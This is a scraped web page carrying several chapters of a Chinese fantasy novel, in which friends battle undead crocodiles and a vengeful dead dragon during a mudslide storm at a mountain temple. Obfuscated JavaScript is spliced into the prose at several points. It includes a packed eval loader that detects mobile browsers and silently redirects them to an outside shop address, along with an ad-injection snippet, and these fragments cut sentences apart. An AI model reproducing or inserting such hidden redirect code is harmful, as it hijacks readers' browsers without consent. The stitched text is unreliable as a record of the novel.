l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13830024|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?美女谁不喜欢,但是—— “靳川,你仔细想想,九瑶能长生,但江宴不能,他们两个真的相配吗?” 这么一说,倒是醍醐灌顶,靳川想了下,不死心地道:“如果他们两个人都不介意的话,也不是不可以啊!上古时期不也有许多人类和神相恋的故事吗!” “那些故事有一个有好结局的吗?”沈半人反问道。 靳川语塞。 “而且怎么可能不介意呢?说不介意,那是不负责任!对神而言,人的一辈子不过须臾,用须臾的承诺去给别人画一个天长地久的牢房,别说江宴了,连我都做不到!江宴他比我通透,再加上井姬的前车之鉴,他恐怕连开始的机会都不会给彼此。” “所以,你和十七也别强行撮合了,就让他们两个一切随缘吧!” ***** 江宴朝人群中淡淡瞥了几眼,确定了那些暗暗追随着他的目光,和涌动的杀意,心里记了下数,然后不着痕迹的退了几步,离开了龙神阁。 烟火表演正值高潮,人群都聚集在龙神阁上,只有零星的几个游客还留在平台上闲聊观景。 江宴经过平台,心里已经有了打算,却突然听见一阵响动,他循声望去,只见平台下方原本黑漆漆一片,此刻却突然亮了起来,且范围非常大,还带有波动性。 像是突然自漆黑的洞底涌上一汪湖泽,水光潋滟,波涛起伏。 龙神阁上的游客也看到了,有人大声地说:“这是全息投影!用全息投影还原的龙潭遗址!” 紧接着头顶上方传来一阵高过一阵的惊叹声、喝彩声。 江宴看着眼前的虚拟龙潭,眉头却渐渐蹙起,尽管头顶人声鼎沸,他还是清晰地听到了,那汪虚幻的龙潭底下,似乎传来了奇怪的啸声。 他从来没听过这种啸声,如果一定要说像什么的话,倒和他想象中的龙吟十分契合! “龙!快看,是龙啊!” 一条金色的巨龙自潭底一跃而起,冲天直上,几乎飞到与月亮齐平的高度,然后“嘭”的一声,巨龙的身体爆开,化成无数闪烁的光点,如泼如洒,璨若银河!这竟是压轴的龙形烟火! 头顶上方的喝彩声已经转变为雷动般的掌声,游客们完全沉浸在绮丽绚烂的烟火盛景中,全然不知危险已经降临。 江宴朝着龙神阁的方向拼命跑去,在他身后,那些明暗交杂的光点,如同排列组合般形成了一颗巨大的发光的龙首,几乎占据整片天空。 那龙首却不似国风插画版庄严肃穆,充满神性,而是目如烈火,凶相毕露,似要将眼前的一切全部焚为灰烬! 32. 31 沈半人和靳川刚被人群挤到龙神阁门外,又看见里面的人在拼命往外退,阁内不时传出惨叫声。 两个人对视一眼,知道里面情况多半不妙,但蜂拥的人群完全不给他们撤退的机会,人墙一排推着一排,像海浪一样,把最前方的人不断地推进阁子里。 沈半人一个踉跄直接跌进了阁子里,想要爬起来双手却触了一地的血,温热黏腻。他抬起头,只见地面上到处散落着残肢断臂,都浸在血泊里,看起来异常的瘆人。 有什么东西爬过来了,带着一股呛人的土腥味。尽管做好了心理准备,当沈半人转身看见那硕大肥厚的身躯,覆满了坚硬鳞甲的脊背,和皮肉褶皱的四肢时,双腿还是不由自主的打颤,根本没有勇气再去看那长嘴尖牙,和如同玻璃罩一样冰冷巨大的的眼珠。 察觉到旱鳄有进攻的意图,沈半人飞快的瞄了眼周围,他知道力量悬殊,且手边没有武器,硬碰硬肯定是不行的。他注意到龙神阁的大门虽然被拥挤的人群堵住了,但是窗户却是通的,早前他们进来写许愿牌的时候,他曾看过窗外,不是绝对的悬崖绝壁,有一个凹进去的小土坡,就是防止游客高坠的。 沈半人有了打算,毫不犹豫立刻起身向紧闭的窗户跑去,旱鳄被惊动也猛的追击起来,它直行爬行的速度相当的快,察觉到猎物绕圈,覆着鳞甲的浑厚肉尾带着强烈的劲风甩了过去,将整个窗户砸的粉碎,窗外的狂风和暴雨没了遮挡,立刻灌了进来。 沈半人被大风吹的根本站不住脚,通过窗户逃跑的计划宣告失败,他果断放弃,顺着风的方向继续跑,跑到楼梯口,见前方无遮挡,便蹬蹬蹬径直上了楼。 到了二楼,发现那旱鳄没有追过来,可能是又有了新的攻击目标,沈半人方才把哽在喉咙里的那口气长吁了出来,他身上衣衫尽湿,一半是刚才窗外的雨水打的,一半是汗。 休息片刻,突然又想起靳川,那家伙也会被挤进来吧,虽然他身手比自己好,但是遇上那旱鳄没有武器也是一个死,越想越不放心,沈半人又轻手轻脚往楼梯方向走了几步,通过扶手缝隙向下张望。 这一看几乎把他吓得半死,刚才攻击他的那只旱鳄此刻正把靳川压在身下,靳川也不知道哪里被咬伤了,一身的血。沈半人心乱如麻,想立刻冲下去帮忙,又强迫自己镇定,他在二楼转了几圈,想找个趁手的武器,突然看见墙角处的灭火器。 靳川肩膀被抓破一个大口子,流了不少血,又被那笨重腥臭的东西压的喘不上气,脸色都青紫了,眼见那东西牙齿几乎咬上他的头,突然有人蹬蹬蹬跑过来,朝着那旱鳄的脸和眼睛喷出一大团白色的雾气,喷完了还用空瓶猛砸旱鳄的头部,一顿行云流水的输出后,暂时逼退了旱鳄,他又拉起靳川赶忙往楼上跑。 方才喷灭火器的时候,靳川也受到了波及,脸上都结了一层霜,虽然看不见救他的人,但听声音知道是沈半人,确定他并没有被旱鳄吃掉,他松了口气。 “你说这都什么事啊!”沈半人瘫靠在墙壁上,叹了口气,十分郁闷,“怎么好好的出来玩,又是碰上极端天气,又是碰上这么个玩意!” 靳川想笑,结果牵扯到肩膀上的伤,疼的脸都快要变形了:“我以为……你已经司空见惯了!” 沈半人一想也是,也该司空见惯了。可是从前是自己一个人,怕死但真死了也就一了百了,但现在不一样,有了朋友,便有了牵挂。 “那个……辛沅……”靳川仍然痛的厉害,还是开口道,“他不是说了,你命格奇好,总有贵人相助的……” 沈半人扑哧一声笑出来:“算命的话,你也信?” “信啊!”靳川认真,“只要是好的,我都信!我们,还有江宴,九瑶,十七,都会逢凶化吉的。” 跟靳川侃侃,好像确实没那么郁闷了,虽然现在他们两个还困在方寸间,前途未卜,但身边有值得信赖的朋友作伴,内心依然是充满希望的。 沈半人又恢复了活力,道:“那当然,我们五个人来年还要过来还愿呢!” 相聊间,楼下似乎传来一阵激烈的打斗声,靳川行动不便,沈半人起身往楼梯口去,刚下一层台阶,就听下面十七喊道:“沈半人,靳川,你们两个在吗?” “在!我们在楼上!”沈半人激动道。 十七得到回应,赶忙跑上楼,看见他们两个人都在,大大的松了口气,又见靳川受了严重的伤,立刻摘下背包,从里面拿出医疗用的小箱子,还好是防水的,里面纱布剪刀止血药膏一应俱全,连麻醉剂都有。 “九瑶小姐在下面跟旱鳄缠斗,你下去照应着点,我来给靳川处理伤口。”十七道。 沈半人点点头,看一眼靳川,知道有十七在,伤势应该没什么大问题,便转身下了楼。 九瑶跟那旱鳄相互往来了几招,在她的认知里,这玩意俗称“土龙”,大荒时代就已经存在了,它的祖先是洪荒神兽之一的饕餮,龙的第五子。喜旱,一般居于旱洞内,只有地河之水漫溢上来,冲了它们的巢穴,它们才会爬出来。 可龙潭镇潭水枯竭,说明这里地势应当属于地河流经域的上游,不存在河水漫溢,怎会把这群土龙惊动出来?难道跟这场不期而遇的暴雨有关? 九瑶脑中思绪如海,动作依然行云流水。等到那旱鳄左右攻击不得,甩着大肉尾莽撞过来,左侧身子一让,单膝跪地,一个滑行,身体后仰,同时右手匕首斜向上朝着那旱鳄最脆弱的腹部猛的一划拉,直接给那旱鳄开膛破肚,鲜血肠子流了一地,甚至还有一颗没来得及消化完的人的头颅。 在场的人无不倒吸口凉气,一时也不知是这旱鳄更可怕些,还是九瑶更可怕些。 九瑶现在也顾不了他人的想法,麻烦的是,她已经给了旱鳄罩门致命的一击,可阁中旱鳄数量却不见减少,这些旱鳄竟也是不死之身? 如此打下去,消耗的只是她。 沈半人也注意到了这一点,这些旱鳄不像是现代环境中的生灵,而且来的太蹊跷了,这龙神阁开工动土的时候肯定做过环境评估,至少浅表层不可能有旱鳄生活的痕迹,那它们很可能是来自地下深处的太古物种,因被某种神秘力量召唤而来的。 正思索着,突然一个熟悉的声音响起。 “沈半人。” 他循声望去,见江宴从破开的窗户那里跳了进来。 “把门关上。”江宴道。 沈半人会意,两个人一左一右去关龙神阁的大铜门,虽然后面的游客还在挤,但前面幸存的游客深知阁子已经不能进了,所以门关的还算顺利。 “这些旱鳄……”沈半人刚准备说这些旱鳄不死。 江宴打断他:“我知道。” 他上前用手掌蒙住沈半人的眼睛,他的手掌湿漉漉的,不知道是水还是血。 “这是幻术。”江宴轻声道,“你做好心理准备再睁眼。” 沈半人点点头。 待江宴移开手掌,沈半人睁开眼,重新看向阁中,虽然有了江宴的预告,他还是露出了极为震惊的表情,仿佛看见了什么极度恐怖又不可思议的景象。 只见那些在地上爬行的凶猛的旱鳄,根本不是什么鳄鱼,而是一具具面无表情、肢体扭曲的古尸。 “这不是古尸,是他们的亡灵。”像是洞悉了沈半人的想法,江宴道,“你的身体住过鬼身,能感应亡灵意识,我会和九瑶留下一具亡灵,你试着与他沟通,看究竟发生了什么!” 说罢,他先拦下九瑶,接过她的匕首,握在掌心利落的划过,又还给九瑶。九瑶明显的怔了一下,但局势不容多想,两个人开始合力击杀旱鳄。 有了神血的开光,那些被剖了肚腹的旱鳄不但不能复活,而且死后便化为齑粉消失。 一通厮杀后,阁中旱鳄渐少,江宴见九瑶击杀了场中最后一头旱鳄,便留下手里这头已削去四肢的残鳄,匕首从上到下贯穿它的嘴巴,迫使它张不开嘴,然后闭眼念诀,开启阵法。 残鳄在阵法中痛苦挣扎,沈半人开了天眼,看见的就是一具古尸痛苦狰狞的面目。 渐渐的,那古尸的眼睛不再空洞无神,而是流露出恐惧和挣扎,沈半人知道时机到了,他闭上眼睛,封闭自己五感六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13856178|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识,让自己的灵魂空出位置来,容纳虚空中那缕若有若无的,已经虚弱不堪的上古亡灵。 记忆的闸门像是突然打开了一个通道,沈半人的意识游走在这通道里。这是个很长很长的通道,漆黑而沉寂,他觉得自己已经走过了上千年的岁月,两条腿灌了铅一样的沉重、疲惫。 终于那洞口出现了一点白茫茫的光亮。 “就快到了。”他听见自己对自己说。 洞外是一个小村庄,土地平旷,屋舍俨然。这时节大概正值暮春,成片成片的油菜花田将整个村落包围,田埂上不时有穿着先秦素衣的农人往来走动,谈笑风生。 他沉浸在这画一般的风景中,内心一片宁静祥和。 “阿父!”一个梳双髻的小童脆生生的唤他,“阿父,我们去看龙!” 他听见自己慈爱的笑声:“好,阿父陪你去看龙!” 一大一小的身影逐渐走远,消失在田埂上。 画面又一转,眼前群山绵延,犬牙交错,山脊连在一起,像一条的恣意蜿蜒的巨龙。龙腹之下,有一汪深潭,呈椭圆水滴状,像一块透明的琥珀凝聚在堆叠的崖石之间。 潭水非常清澈,倒映着蓝天白云,一时竟分不清上面是天空,还是下面才是真正的天空。 他和小童来到潭边,走近了些发现潭底盘卧着一条龙,一条真龙。 那是一条银白色的龙,脊背生有双翼,鳞片如同玉石,在阳光下闪闪发光。巨大的龙首,仿佛是能工巧匠精雕细琢的一般,无处不精致,无处不令人赞叹。 “这条龙为什么一直躺在这里。”小童好奇地问他。 “因为它很多年前打了一场大仗,把力气全都用完了,就再也飞不回它的家去。” “那它死了吗?”小童关心地问。 他听见自己呵呵笑起来:“没有,小傻瓜,它可是龙神,不会死的。等它休息够了,它就会醒过来了。” “阿父,”小童突然仰起脸,紧张地问:“那它醒了,是不是就会离开我们的村子,回他自己的家了呢?” 他听见了自己内心深处巨大的沉默。 可他仍然微笑着温柔地说道:“不会的,以后这里就是它的家,即使它醒过来,它也不会离开自己的家。” 沈半人满头大汗,眼皮不停的颤动,像是经历了什么极为痛苦的事情,整个身体都剧烈的痉挛起来。 江宴知道他不能走魂太久,得赶快帮他结束才行。他和九瑶对视一眼,示意九瑶把那最后一头旱鳄处理掉,他则以手覆上沈半人的眉眼,替他念诀静心。 如此折腾了有五六分钟,沈半人终于恢复意识,喉咙突然发出“嗬”的一声的急促尖锐的呼吸声,仿佛窒息了很久,连呛咳都没有力气了。 江宴帮他顺气,折腾了好一会儿他才恢复点气力,着急道:“我看见龙……龙死后,变成了恶灵……” “恶灵……在湖边拖人……吃……” 他咳了几声,说话连贯些了,但仍然有些嘶哑:“村人不堪其扰,便联合附近的几个村子,挖土填潭,填平了整个深潭。龙尾山之所以下窄上宽,就是当年挖土所致。” 江宴闻言目露疑惑,然而来不及多想,阁门被大力的冲撞起来,外面的游客又开始向里面挤了,十七扶着靳川从楼上赶了下来。 “外面是不是又发生了什么?”沈半人觉得不对劲,游客的情绪好像比之前更糟糕了。 “现在下的是泥雨。”九瑶站在窗户边,看着打在身上的带着泥土的雨滴说道。 “这是要发生泥石流啊!”十七惊诧,“到现在还没有警察来救援吗?” “来了,但进不来。”江宴道,他从平台上来的时候跟一群下山的人打过照面,这批人很快又去而复返,带给他一个讯息。 据说山脚下已经被沼泽地包围,有救援的车子陷入了沼泽,但具体什么情况还不清楚,下雨的那一刻,通讯信号就全断了。 撞门声越来越大,江宴扶起沈半人,道:“我们先出去吧,我知道一个洞口可以暂时避雨,把龙神阁腾给游客。” 33. 32 天空黑沉沉一片,漫天泥雨如同黑色的雪覆盖在龙尾山上,龙神阁外的灯光已经完全看不见了,被一层又一层的泥浆覆盖。照这趋势下去,如果救援始终无法展开,那么不到天亮,整个龙尾山和上面的一切都将被活埋。 江宴所说的洞口,在台阶背面的一处悬壁中,还挺宽敞,五个人进来简单处理一下身上的泥水。十七刚才就注意到江宴的手掌有伤口,怕引发感染,一进洞就赶紧取出消毒药水,给他冲洗伤口,上了药,又用防水的绷带裹好。 “这龙潭镇曾经确实有龙。”沈半人已经完全恢复,正色道,“我从那亡灵的记忆中看到一条银白色生有双翼的龙盘卧在潭底,似乎是受了重伤,在潭中休养。” “你刚才为什么说它死了?”江宴问。 “是那亡灵的意识传递给我的信息。” 龙死后,化为恶灵,起初只是在水边潜伏,趁人不备,便拖人下水,那亡灵的女儿便是在潭边被拖入水中溺亡的。 后来村人便在潭边筑起高高的围篱,不让人靠近那深潭。 可是有一天,那亡灵死去的女儿突然回了家,将他家中的妻子和幼儿诱去潭边,待那亡灵赶到,妻子和幼儿已经俱沉入潭底。 这样的事情在之后,又发生多起,村人畏惧,便找来了屠龙术士。 术士做了法,告诉他们潭中的那条龙原本是负责行云布雨的,虽然龙身已死,但恶灵在潭水中仍然得到滋养,是以日渐强大。 屠龙术士向村人建议,挖山填潭,变涝为旱,就可以困住恶灵。于是村人便联合附近的几个村庄,将深潭填平。 如此倒也确实太平了几年,那亡灵在村子里接连失去妻子和儿女,心中悲痛,日夜难安,于是决定背井离乡,离开这个伤心之地。出发之前,他去昔日龙潭之地祭拜家人,结果被地里突然爬出的旱鳄拖了进去。 “我感受到了他的窒息和痛苦,他应当是被活埋而死。”沈半人结束了陈述。 “龙死后,为什么会化为恶灵呢?”十七奇怪道,这和他认知中总是作为正面角色的龙神形象似乎不太相符。 江宴思索后,说道:“比起这个,我更奇怪地是,为什么他那么确定龙死了。行云布雨的龙,一般都会身带雷霆闪电,凡人无法靠近,而龙又有休眠的习惯,应龙就曾在极地冰川中休眠数百年。” “他那么确定龙死了,要么,他曾参亲眼目睹过龙的死亡过程,要么,就是他参与过这个过程。” “可是我并未在他的记忆中看到与此有关的场景。”沈半人努力回忆,仍不得要领。 “你只是与他的亡灵对话,他传递给你的都是他想让你知道的事情。而人都是趋利避害的,对自己不利的事情,他们就会自欺欺人的粉饰或埋葬。” 江宴的发言听来让人心惊,但细想之下,好像也确实有道理。像龙这种集天地之大成的上古生灵,即便身殒,也会如同“鲸落”般反哺万物,又怎么会变成恶灵呢? 可是……凡人,能杀龙吗? 江宴突然站了起来:“解铃还需系铃人,如果现在发生的一切,都是龙的恶灵所为,那我们当务之急,是先找到它。” “去哪里找它?”九瑶问。 “山脚下的大沼泽,它的身躯还在里面,龙魂一定在附近。” 可是外面漫天泥雨,且山路湿滑,下山比上山更加危险。 十七的背包里准备了登山绳,江宴取了出来:“我先下去看看情况,试试神血是否可以感应龙魂。如果需要帮助,我会震绳两次,你们往上拉绳,若我震绳三次,就是找到了龙魂,那时你们再下来与我汇合。” 十七原本想跟他一起下去,可包里只有一捆登山绳,看他有点低落,江宴拍拍他肩膀:“现在山体湿黏,你在上面帮我固定好绳子,等会儿我让你们一起下来的时候,你还要帮忙把靳川带下来。” 十七点点头:“宴哥,你小心点。” 扣好登山绳的锁扣,江宴沿着岩壁往下降,一直注意着控制速度,不敢降太快,中间试过抓住岩壁来调整方向,可实在太滑了,只能降到哪里是哪里了。 好在,绳索够长,下到山脚的时候,还有相当长一段放量,可以让他自由活动。 山脚比山顶更黑,伸手不见五指,他摸索着岩壁绕着沼泽走了一小段,凭触感发现地面都处都是被风吹折的树木和落石,走到台阶的地方,尽管身体攀附着岩石,还是差点踩空,原来整个山脚部分的台阶已经完全被压断了,只剩山体悬空挂在沼泽之上。 游客中如果有人想从台阶处下山的话,很有可能会不慎踩空落入沼泽中。 他本想挪一颗树干过来挡一挡,但那些被吹倒的树木大多几人合抱的粗,推不动,而且想到外面这么黑,游客应该会选择在上面等待救援,不会往下跑的,于是打消了念头。 他正准备摸回原处,黑暗中却听得一些呼吸声,与他自己的呼吸声起落同频,偶尔交错。他立刻摒住呼吸,仔细聆听。 确实有另一个呼吸声存在,潮水般均匀涨落,他向着声音的方向找去,不知是不是眼睛适应了黑暗,他感觉视线里出现了一点微弱的光亮。 不远处,沼泽地里,有一小团光亮,那光亮会动,起起伏伏的,江宴往那方向靠近了,发现那光亮来自于一支微型手电筒,因不是朝着他这个方向打来的,加上被树木遮挡,所以刚才他并没有注意到。 这手电筒叼在一颗脑袋的嘴里,脑袋还能动,只不敢大动,半个身体已经完全陷入沼泽中了。 江宴踏着石头和残木往那脑袋攀去,他也不知道对方是什么人,心想可能是个踩空的游客,靠近了,把身上多余长度的绳索绕了两圈在一棵大树上,问道:“还能动吗,能动的话向后仰倒,尽量平躺,不要怕,我会抓住你的肩膀带你离开沼泽。” 那人听懂了,慢慢从泥沼里向着江宴的方向仰倒,随着动作,四肢也逐渐露出,江宴待他稳定的半浮在沼泽上,双手用力够住他肩膀,借助绳索稳定身体,将那人慢慢拽离沼泽。 一上岸,那人惊魂方定,又后劲有余,明明四肢瘫软的需要依靠石壁才没倒下,嘴里却一直念叨着:“龙神保佑,光泽万物,吉祥平安,消灾避难……” 江宴听他声音熟悉,借着手电的光又看出一缕轮廓来,是下午遇到的那个辛沅。 辛沅还没认出江宴来,求完神告完佛,又来拼命地感激他这个救命恩人。 江宴也倚着石壁喘息,静静地听着辛沅死里逃生后的絮絮叨叨,突然整个身体绷紧颤抖,手抚上胸口,呕出了一大口血来。 这可把辛沅吓坏了:“是我……太重了?” 江宴无力地摆了摆手,方才龙尾山一上一下折腾的太猛,在上面的时候他就感觉胸口气血翻涌的厉害,又怕他们担心,硬是忍到了现在。 看着辛沅那自我怀疑的样子又有点想笑,喘着气道:“不是,我本来就有点伤……” 辛沅这才认出他来,虽然因为小神蛊的事对他还有芥蒂,但对方毕竟是自己的救命恩人,于是走过去帮他把缠在身上的绳子松了松,目光注意到他因为胸闷解开的衣襟里,胸口有一大片的青紫。 “你这胸口的伤是被什么东西撞的吗?” “嗯。”江宴模糊的应了声,这是江离派来的杀手,用枪打碎了他身上的护甲留下来的淤伤,本来也没什么,今天可能跑动剧烈了些,气血攻心就引发了疼痛和呕血。 “看着是外伤,也没破皮,但伤的位置在心脏附近,问题可大可小,等出了龙尾山,最好去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 医院拍个片子检查检查。”辛沅真诚的建议。 江宴感觉好一些了,倚在石壁上休息:“你有方法出龙尾山吗?” 辛沅突然递给他一颗珠子,江宴疑惑的接了过来。 “这是辟雷珠,”辛沅解释,“大沼泽底下的那位,生前是负责行云布雨的龙,所以身带雷电,凡人无法靠近,辟雷珠可以感应它的存在,也能帮人隔绝雷电的伤害。” 江宴了然:“所以你刚才想通过这颗珠子找到它,与它沟通。” “但似乎被它拒绝了。”辛沅苦笑,还差点丢了性命,死在大沼泽里。 “你是怎么确定它已经身死的?” “还是因为它,”辛沅看着辟雷珠,叹了口气,“辟雷珠与龙神灵气互通,如果龙神还活着,辟雷珠就可以结珠阵,让我见到龙神,可如果龙神已死,那辟雷珠就只能感受龙神残存的灵气,结不了珠阵了。” “那你知道龙神是怎么死的吗?” “我不知道,但我可以肯定一点,它一定是受了极大的委屈。”辛沅道。 “辟雷珠只有在靠近这片沼泽才能感应到龙之灵气,说明它的灵气已经相当微弱了,而这漫天泥雨和遍地旱鳄则是它心中的恶气,如果不是受了极大的委屈,你想一条龙何以在身死之后,沉沦为沼泽之中的恶灵?” 江宴点了点头,表示认同。过了一会儿,他站直身体,心里已经做好了决定:“我下去探探这大沼泽的底。” 辛沅的表情简直是听到了什么天方夜谭:“这是沼泽地啊,又不是小池塘,你怎么探啊!” 江宴把腰间的绳子交到辛沅手上:“我最多可以闭气十分钟,十分钟后,你就拉绳子,把我拉上来。” 辛沅还是觉得太冒险了:“我可不像你是练家子,我不一定能把你拉上来的。” “那你就震绳两次,上面会拉我出来的。” 看出来他是认真的,辛沅紧张起来:“你想清楚,这大沼泽不是普通的泥与水,这底下有一条困了几千年的龙,它已经杀红眼了,可能都变异了,你身上还有伤,行动受限,如果下去的话多半也会被它活埋在里面!” 江宴当然明白其中凶险,可他没得选,若不下去探探,找到那条龙,弄明白事情的根源,找到解决问题的方法,他们所有人还是会被困死在这龙尾山里。 他走到沼泽地前,犹豫了片刻,突然又转身走了回来,辛沅松口气,心想,他肯定是看到这大沼泽凶险莫测,所以心生畏惧了。 这没什么,知进退本也是一种难能可贵的生存品格。 谁知江宴只是摘下了脖子的玉牌,递给辛沅:“劳烦先生帮我照看我的小神蛊,这沼泽下面情况不明,我就不带着它了。” 辛沅满脸困惑,他不明白能用这么残忍的方法养出小神蛊的人,居然也会心疼自己的蛊虫胜过自己吗? 江宴又走回沼泽地,可能是不断有水灌入,沼泽内泥浆翻搅,气泡涌动,发出咕咚咕咚地声响,如同一个呼吸沉重的庞大异兽。 江宴深吸口气,抓紧了腰间绳索,寻找下脚的突破口。 “阿宴。” 黑暗中,一个熟悉的声音叫住了他。 起初江宴还以为自己听错了,循着声音望去,努力辨认后发现确实有那么个人,不知道在黑暗中潜伏了多久,此刻走了出来。 “忍哥?”江宴问。 江忍穿着一件黑色的尼龙雨衣,兜帽几乎遮住了整张脸,虽然雨衣已经被泥水浸染,脸上却是干干净净的。 他看着江宴,目光沉静有力:“你身边的那位九瑶小姐,她手里的匕首材质是地玄铁,可劈山削石,开疆拓土。” 江宴愣住了,辛沅却兴奋起来:“开疆拓土,所以这大沼泽也能劈开吧!” 34. [锁] 该章节由作者自行锁定 沈半人等人一直在上面焦急的等待消息,此刻看到震绳,心情从紧张到兴奋:震绳三次,是叫他们下去,意味着江宴可能找到了龙魂。 四个人依次用登山绳下到了大沼泽附近,见到了江宴、辛沅和一个神秘的陌生人,从他们口中了解了事情的来龙去脉。 听闻自己的匕首是地玄铁,能够劈开大沼泽,九瑶略沉思了一会儿,说道:“我的匕首从不离身,如果你要借的话,那就让我与你一同下去。” 九瑶态度坚定,江宴心知不好拒绝,于是应道:“好。” 几个人走到沼泽边,九瑶拔出匕首,虽然她从来没用匕首做过这样的事,但却仿佛天生知道该怎么做一样。她利落的跃上那片大沼泽,在众人紧张又好奇的目光下,漆黑的匕首刃尖泛出淡淡的紫光,破空划下,大沼泽被一分两半,像两座悬崖一样中间形成一个大裂谷。 江宴跟过去,两人一起进入了裂谷之中,其他人按照约定暂且留守岸边等待消息。 江忍见他们之中有伤员,便把自己的雨衣脱下来借给了靳川披着。沈半人刚才已经知晓了江忍的身份,原来一直以为他会是个冷酷独断的人,没想到其实也是个温良仁厚之人。 沈半人不禁有些好奇,江忍和江宴,明明这两人看着都是不争不抢的个性,那这虞山的内斗究竟会是什么原因引起的呢? 江宴和九瑶下到裂谷底下,发现下面已经涨满了水,且水位还在不断上升,如此下去,龙尾山山体会逐渐被大沼泽吞没。 江宴注意到水流的方向是近乎横向的,也就是说这些突然涌入的水很可能来自于地河。他与九瑶在水中无法说话,且水里黑乎乎一片,即便在彼此身边,也看不见对方。好在九瑶似乎与他想到了一块,在水中抓住了他的手,引导他一齐往水边岩壁去找入水口。 九瑶之前在冥河就发现自己可以在水中自由呼吸和游走,但她知道身为凡人的江宴肯定不能如她这般自如,所以抓住他一方面是在水中给他引导方向,另一方面是怕两人万一被水流冲散。 游了一阵,九瑶看见江宴的身上出现一点点光亮,像是夜明珠的光芒,一闪一闪的。江宴自己也察觉到了,他用另一只手从口袋里掏出来一颗珠子,那是出发前,辛沅让他带着的辟雷珠。 辟雷珠亮了,说明感应到了龙神的灵气,龙神应当就在不远处。江宴松开手,任珠子在水中悬浮,他和九瑶则随着珠子的方向游走。 辟雷珠果然把他们带到了一个洞口,奇怪的是这个水中的洞,里面却是异常干燥的,仿佛河水流不进去。两个人抱着试试看的心态进到洞里,幸运的是洞中有氧气。 江宴边休息边打量这个洞,发现洞内不仅宽敞,而且很深,曲径通幽似的,看不到尽头。他想了想,结合之前沈半人和辛沅的说法,猜测:“这里很可能是早期地壳运动,导致岩层发生断裂,而断裂面上的裂缝与地下水形成了通道,使原本潭中剩余的水通过地下水道系统流入地河,因此形成的一个旱洞。” “龙神会在这旱洞里吗?”九瑶问。 “有可能。”江宴琢磨着,“龙身已经被蜃龙食净,龙骨或者龙魂定然有一个在这里。” 两个人休息一阵,继续往里探,辟雷珠闪烁的光亮刚好用来照明。 洞中沉寂,两人走着走着,不觉有些冷清。 江宴便找些话题来聊,他想到在鱼国人的地宫里九瑶曾跟他说起的心中的困惑纠结,于是问道:“记起了自己是第一批人类后,还会再担忧想起过往吗?” “你呢,找到去神界的路,还会回来吗?”九瑶却突然反问。 她的问题让江宴有些始料未及,他还从未思考过这个问题,一直以来他只是为如何找到神界入口殚精竭虑东奔西走,至于找到之后能否回来,根本不在他的考虑范围之内。 如今被人问起,他才开始认真思考:“我也不是去成神的,我只是去送还神界的一样东西,还完了,自然是回来。” 九瑶闻言放下心来,想到他刚才问自己的事情,又不禁面露挣扎:“其实这段时间,我总是会想起一个人,他对我似乎很重要。” 江宴认真的听她说,问道:“那你想起来他是谁了吗?” 九瑶摇了摇头:“没有,我也看不清他的样子,但他好像陪伴过我很长很长的时光,甚至在我漫长的生命中,每一个重要的时刻都曾出现过。” “有时我觉得,与其说我是在寻找过去的记忆,或许更有可能我只是有一种要记起他的使命。” 江宴看着她,想说什么,但没有开口。 “这世上有什么方法,可以消除长生吗?”九瑶突然问。 “你不想长生?” 九瑶再度摇了摇头:“不想。” 何止是不想,简直是厌倦。一个人游走在这世间,不知来处,不晓归处,只是无意义的重复着年岁,这样的长生,甚至都不及井姬心中有一个明确牵挂的人。 至少在想起那个人时,能感受到自己真实的存在过。 “或许,等你想起了那个重要的人,会改变你的想法。”江宴宽慰道,“也可能他在等待与你的重逢。” 辟雷珠突然停了下来,光芒越来越盛。洞中深处,隐隐有奇怪的啸声,由远及近的传来。 蓦地,如同狂风过境般,洞中深处刮来一阵劲风,带着闪电的弧光,将空气激荡的噼啪作响。 江宴把九瑶护在身后,尽管有辟雷珠的抵挡,两人仍被这股带着电流的劲风刮的面颊生痛。 随着一声愤怒的咆哮,一条漆黑如墨却浑身裹满幽蓝电光的巨龙从洞里冲了出来,向着九瑶和江宴撞去。 两人反应过来,急忙向两边退去,巨龙扑空,颀长的身躯又盘桓扫过,洞中毕竟空间有限,两人只能硬生生挨下这一击。 九瑶被扫到背部,铁甲般的龙鳞如刺鞭入肉,瞬间撕裂皮肤,带出斑驳血迹,伤口火烧火燎,疼痛无比。 江宴被扫到了颈下,伤口肉眼可见的出血肿起。 巨龙见未能杀死猎物,再度发起攻击,九瑶忍痛站起,持匕与它对峙,巨龙有身躯优势,但灵活度不及九瑶,虽然几度欲靠体型碾压对方,但都被九瑶灵巧闪避。 缠斗过程中,九瑶注意到巨龙看似凶猛强悍,坚不可摧,身躯之上却布着一些奇怪的伤痕,这些伤痕的排布有着某种规律,有一处在虎爪位置,像被利刃切过般,随着动作,还不时渗出黑血来。 江宴也缓过来了,起身紧张的关注着九瑶的动向,见她一刀刺向巨龙虎爪,他立刻用神血结阵辅助,九瑶匕首正中虎爪伤口处,那巨龙嘶叫着逃入山洞深处。 九瑶落地,江宴松了口气:“我们可能要把辛沅接下来,让他试着跟龙神沟通。” “我去接他们,”九瑶看着他脖子下面可怖的血口,实在不想他再去泡水,“但你一个人留在这里,可以吗?” 江宴知她好意,也知她同样伤势不轻,自己此刻若帮不上忙,还是不要成为负累的好,于是当机立断:“巨龙受惊,短时间不会主动出来,况且我还可以用神血结阵。你宽心去,注意安全。” 因熟悉路线,加上担心江宴一人在洞中会遇到危险,九瑶很快去而复返,不仅带来了辛沅,把沈半人、靳川、十七和江忍也一并带了下来。 十七一见江宴颈下伤口,冲过来就要上手处理,被江宴制止了,他对辛沅说道:“时间紧迫,龙神已为恶灵,先生要拿个主意,尽快制服恶灵。” 